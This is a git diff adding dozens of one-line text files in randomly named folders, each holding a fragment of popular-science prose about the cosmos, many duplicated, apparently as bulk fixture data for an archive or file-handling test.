diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_yieatttsjxlvimuan.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_yieatttsjxlvimuan.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_yieatttsjxlvimuan.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_yrdjtxidemstpkcpsxy.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_yrdjtxidemstpkcpsxy.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_yrdjtxidemstpkcpsxy.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_zomuqmfzvjmid.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_zomuqmfzvjmid.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_zomuqmfzvjmid.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/amuisghvi.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/amuisghvi.txt
new file mode 100644
index 0000000..0e37ecf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/amuisghvi.txt
@@ -0,0 +1 @@
+The human species is now undertaking a great venture that if successful will be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/cfpxalkydwkipfv.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/cfpxalkydwkipfv.txt
new file mode 100644
index 0000000..f0ddf7f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/cfpxalkydwkipfv.txt
@@ -0,0 +1 @@
+the seasons, food, warmth. The Moon controlled the tides, the life cycles of many animals,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/cqiealeirihhmi.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/cqiealeirihhmi.txt
new file mode 100644
index 0000000..439eeb1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/cqiealeirihhmi.txt
@@ -0,0 +1 @@
+happens at the speed of light. The more Einstein thought about such questions, the more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/cssvxfgwr.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/cssvxfgwr.txt
new file mode 100644
index 0000000..242fe55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/cssvxfgwr.txt
@@ -0,0 +1 @@
+weight. Eventually, nothing at all survives except, through a special dispensation, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/drlgrwjcpmr.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/drlgrwjcpmr.txt
new file mode 100644
index 0000000..6e24216
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/drlgrwjcpmr.txt
@@ -0,0 +1 @@
+in the beam of this cosmic lighthouse, we see it flash once each rotation. This is the reason
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/ducmfmqcdms.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/ducmfmqcdms.txt
new file mode 100644
index 0000000..1887486
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/ducmfmqcdms.txt
@@ -0,0 +1 @@
+Jupiter. The reaction vessel is initially transparent: the precursor gases are entirely
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_annohikfsjmnzenzodhtjymn.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_annohikfsjmnzenzodhtjymn.txt
new file mode 100644
index 0000000..3fac3ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_annohikfsjmnzenzodhtjymn.txt
@@ -0,0 +1 @@
+Cosmos, they one day stepped outside the observatory and looked up at the sky with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_hxpxsmnvudc.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_hxpxsmnvudc.txt
new file mode 100644
index 0000000..3fac3ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_hxpxsmnvudc.txt
@@ -0,0 +1 @@
+Cosmos, they one day stepped outside the observatory and looked up at the sky with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_ihjyknwklcvturhr.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_ihjyknwklcvturhr.txt
new file mode 100644
index 0000000..3fac3ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_ihjyknwklcvturhr.txt
@@ -0,0 +1 @@
+Cosmos, they one day stepped outside the observatory and looked up at the sky with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_iopeiqedyiiphgfrxvvsj.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_iopeiqedyiiphgfrxvvsj.txt
new file mode 100644
index 0000000..3fac3ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_iopeiqedyiiphgfrxvvsj.txt
@@ -0,0 +1 @@
+Cosmos, they one day stepped outside the observatory and looked up at the sky with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_ldobbasqcxpsejfnxal.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_ldobbasqcxpsejfnxal.txt
new file mode 100644
index 0000000..3fac3ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_ldobbasqcxpsejfnxal.txt
@@ -0,0 +1 @@
+Cosmos, they one day stepped outside the observatory and looked up at the sky with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_oarziktjkhmpnw.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_oarziktjkhmpnw.txt
new file mode 100644
index 0000000..3fac3ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_oarziktjkhmpnw.txt
@@ -0,0 +1 @@
+Cosmos, they one day stepped outside the observatory and looked up at the sky with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_ojvwvawc.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_ojvwvawc.txt
new file mode 100644
index 0000000..3fac3ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_ojvwvawc.txt
@@ -0,0 +1 @@
+Cosmos, they one day stepped outside the observatory and looked up at the sky with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_potgsazkhptliaescjp.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_potgsazkhptliaescjp.txt
new file mode 100644
index 0000000..3fac3ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_potgsazkhptliaescjp.txt
@@ -0,0 +1 @@
+Cosmos, they one day stepped outside the observatory and looked up at the sky with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_ubxgqzstu.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_ubxgqzstu.txt
new file mode 100644
index 0000000..3fac3ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_ubxgqzstu.txt
@@ -0,0 +1 @@
+Cosmos, they one day stepped outside the observatory and looked up at the sky with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_vemvhprcc.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_vemvhprcc.txt
new file mode 100644
index 0000000..3fac3ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_vemvhprcc.txt
@@ -0,0 +1 @@
+Cosmos, they one day stepped outside the observatory and looked up at the sky with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_zgstlqemstekoqqzjoswceil.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_zgstlqemstekoqqzjoswceil.txt
new file mode 100644
index 0000000..3fac3ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_zgstlqemstekoqqzjoswceil.txt
@@ -0,0 +1 @@
+Cosmos, they one day stepped outside the observatory and looked up at the sky with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_zpoyppyfaiylpyvsnowkul.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_zpoyppyfaiylpyvsnowkul.txt
new file mode 100644
index 0000000..3fac3ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_zpoyppyfaiylpyvsnowkul.txt
@@ -0,0 +1 @@
+Cosmos, they one day stepped outside the observatory and looked up at the sky with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_zyusgbzqxp.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_zyusgbzqxp.txt
new file mode 100644
index 0000000..3fac3ab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/file_zyusgbzqxp.txt
@@ -0,0 +1 @@
+Cosmos, they one day stepped outside the observatory and looked up at the sky with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/gpvccdfxuipiskmpbiniuyg.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/gpvccdfxuipiskmpbiniuyg.txt
new file mode 100644
index 0000000..1cee98d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/gpvccdfxuipiskmpbiniuyg.txt
@@ -0,0 +1 @@
+of a hundred billion constituent stars. Astronomical spectroscopy is an almost magical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/gsspppdbjgvglussycspsrv.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/gsspppdbjgvglussycspsrv.txt
new file mode 100644
index 0000000..516c787
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/gsspppdbjgvglussycspsrv.txt
@@ -0,0 +1 @@
+Building, and make it fall to the ground. But . . . supposing the Earth, as we did, one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/hdwrkjxylgevc.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/hdwrkjxylgevc.txt
new file mode 100644
index 0000000..8fb7d0d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/hdwrkjxylgevc.txt
@@ -0,0 +1 @@
+China, the society that invented the rocket in the first place.Among the early applications of the space rocket, as Tsiolkovsky and Goddard
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/jlcjvknlylq.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/jlcjvknlylq.txt
new file mode 100644
index 0000000..bfe8f35
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/jlcjvknlylq.txt
@@ -0,0 +1 @@
+plus a taste for experiment. With them he deduced the circumference of the Earth with an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/jlkslbbgoceunt.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/jlkslbbgoceunt.txt
new file mode 100644
index 0000000..94ca872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/jlkslbbgoceunt.txt
@@ -0,0 +1 @@
+war. At present our understanding is meager - probably because disarmament budgets have,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/kmiiytdideayyziozoleckme.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/kmiiytdideayyziozoleckme.txt
new file mode 100644
index 0000000..0fe08c6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/kmiiytdideayyziozoleckme.txt
@@ -0,0 +1 @@
+could travel from Spain to the Azores in a few days, the same time it takes us now to cross
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/ltsrajlcxjhnpohtuxro.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/ltsrajlcxjhnpohtuxro.txt
new file mode 100644
index 0000000..7a6b449
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/ltsrajlcxjhnpohtuxro.txt
@@ -0,0 +1 @@
+scholarship had come of age. Genius flourished there. The Alexandrian Library is where we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/odrkslmepzudwdblp.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/odrkslmepzudwdblp.txt
new file mode 100644
index 0000000..affc9ca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/odrkslmepzudwdblp.txt
@@ -0,0 +1 @@
+They seized upon the gold as if they were monkeys, their faces gleaming. For
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/pctxrrhc.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/pctxrrhc.txt
new file mode 100644
index 0000000..161419e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/pctxrrhc.txt
@@ -0,0 +1 @@
+tedious procedure, take pity on me who carried out at least seventy trials.’)
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/sihmagcokseidazptuzksgem.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/sihmagcokseidazptuzksgem.txt
new file mode 100644
index 0000000..5e85052
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/sihmagcokseidazptuzksgem.txt
@@ -0,0 +1 @@
+have many pages in common, another reminder of our common evolutionary heritage. Our
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/smjeetlfglvxyifrdgecdtps.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/smjeetlfglvxyifrdgecdtps.txt
new file mode 100644
index 0000000..2fd95a6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/smjeetlfglvxyifrdgecdtps.txt
@@ -0,0 +1 @@
+three-dimensional analogy. If there is enough matter, then it has a closed shape, curved like
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/ukzbuzgqvkqw.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/ukzbuzgqvkqw.txt
new file mode 100644
index 0000000..e9cf60e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/ukzbuzgqvkqw.txt
@@ -0,0 +1 @@
+Earth as in the skies; and that there is a resonance between the way we think and the way
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/vhweptebh.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/vhweptebh.txt
new file mode 100644
index 0000000..62491b9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/vhweptebh.txt
@@ -0,0 +1 @@
+first collect a great body of meteorological data; you must discover how the weather
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/wnipjmqnbu.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/wnipjmqnbu.txt
new file mode 100644
index 0000000..813c0ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/wnipjmqnbu.txt
@@ -0,0 +1 @@
+promise. Most of these discoveries he made in his twenties. He also thought astrology was
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/wwsxxbsmntfddagbpi.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/wwsxxbsmntfddagbpi.txt
new file mode 100644
index 0000000..3b509fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/wwsxxbsmntfddagbpi.txt
@@ -0,0 +1 @@
+Evolution is a fact, not a theory.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/xdfdxzorsggqmgtahly.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/xdfdxzorsggqmgtahly.txt
new file mode 100644
index 0000000..152d14c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/xdfdxzorsggqmgtahly.txt
@@ -0,0 +1 @@
+might be revered, but in successive retellings it would become progressively more muddled
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/xkaewjhml.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/xkaewjhml.txt
new file mode 100644
index 0000000..7b9d520
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/xkaewjhml.txt
@@ -0,0 +1 @@
+would be clear from such a world, as it is beginning to be clear from ours, how our matter,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/xkhijmxsqxedozqgcgstzz.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/xkhijmxsqxedozqgcgstzz.txt
new file mode 100644
index 0000000..fd91be5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/folder_zhughetwtx/xkhijmxsqxedozqgcgstzz.txt
@@ -0,0 +1 @@
+Democritus may have come from Abdera, but he was no dummy. He believed that a large
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/file_aupcliwtxuhzjgeedrjlxn.txt b/big_zip/big-zip-files/folder_xtshijybzy/file_aupcliwtxuhzjgeedrjlxn.txt
new file mode 100644
index 0000000..0dbb822
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/file_aupcliwtxuhzjgeedrjlxn.txt
@@ -0,0 +1 @@
+species. On the other hand, we maintain that there is no credible evidence for the Earth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/file_drqvhjhacyzgkyerebqftous.txt b/big_zip/big-zip-files/folder_xtshijybzy/file_drqvhjhacyzgkyerebqftous.txt
new file mode 100644
index 0000000..0dbb822
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/file_drqvhjhacyzgkyerebqftous.txt
@@ -0,0 +1 @@
+species. On the other hand, we maintain that there is no credible evidence for the Earth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/file_dzzwnqbgxggevl.txt b/big_zip/big-zip-files/folder_xtshijybzy/file_dzzwnqbgxggevl.txt
new file mode 100644
index 0000000..0dbb822
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/file_dzzwnqbgxggevl.txt
@@ -0,0 +1 @@
+species. On the other hand, we maintain that there is no credible evidence for the Earth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/file_ftcdeoduzlztfg.txt b/big_zip/big-zip-files/folder_xtshijybzy/file_ftcdeoduzlztfg.txt
new file mode 100644
index 0000000..0dbb822
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/file_ftcdeoduzlztfg.txt
@@ -0,0 +1 @@
+species. On the other hand, we maintain that there is no credible evidence for the Earth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/file_gqiicorlxjcwojwfliznzitv.txt b/big_zip/big-zip-files/folder_xtshijybzy/file_gqiicorlxjcwojwfliznzitv.txt
new file mode 100644
index 0000000..0dbb822
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/file_gqiicorlxjcwojwfliznzitv.txt
@@ -0,0 +1 @@
+species. On the other hand, we maintain that there is no credible evidence for the Earth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/file_gsslgsgpdqgkrfy.txt b/big_zip/big-zip-files/folder_xtshijybzy/file_gsslgsgpdqgkrfy.txt
new file mode 100644
index 0000000..0dbb822
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/file_gsslgsgpdqgkrfy.txt
@@ -0,0 +1 @@
+species. On the other hand, we maintain that there is no credible evidence for the Earth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/file_hjsehfjgpsmk.txt b/big_zip/big-zip-files/folder_xtshijybzy/file_hjsehfjgpsmk.txt
new file mode 100644
index 0000000..0dbb822
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/file_hjsehfjgpsmk.txt
@@ -0,0 +1 @@
+species. On the other hand, we maintain that there is no credible evidence for the Earth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/file_jtzlztdycaeu.txt b/big_zip/big-zip-files/folder_xtshijybzy/file_jtzlztdycaeu.txt
new file mode 100644
index 0000000..0dbb822
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/file_jtzlztdycaeu.txt
@@ -0,0 +1 @@
+species. On the other hand, we maintain that there is no credible evidence for the Earth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/file_kpvalcdamhlphuimxa.txt b/big_zip/big-zip-files/folder_xtshijybzy/file_kpvalcdamhlphuimxa.txt
new file mode 100644
index 0000000..0dbb822
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/file_kpvalcdamhlphuimxa.txt
@@ -0,0 +1 @@
+species. On the other hand, we maintain that there is no credible evidence for the Earth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/file_rauqhgtikfctcpjwtwuq.txt b/big_zip/big-zip-files/folder_xtshijybzy/file_rauqhgtikfctcpjwtwuq.txt
new file mode 100644
index 0000000..0dbb822
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/file_rauqhgtikfctcpjwtwuq.txt
@@ -0,0 +1 @@
+species. On the other hand, we maintain that there is no credible evidence for the Earth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xtshijybzy/file_rxvxmgrwpetijuissbmu.txt b/big_zip/big-zip-files/folder_xtshijybzy/file_rxvxmgrwpetijuissbmu.txt
new file mode 100644
index 0000000..0dbb822
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xtshijybzy/file_rxvxmgrwpetijuissbmu.txt
@@ -0,0 +1 @@
+species. On the other hand, we maintain that there is no credible evidence for the Earth
\ No newline at end of file
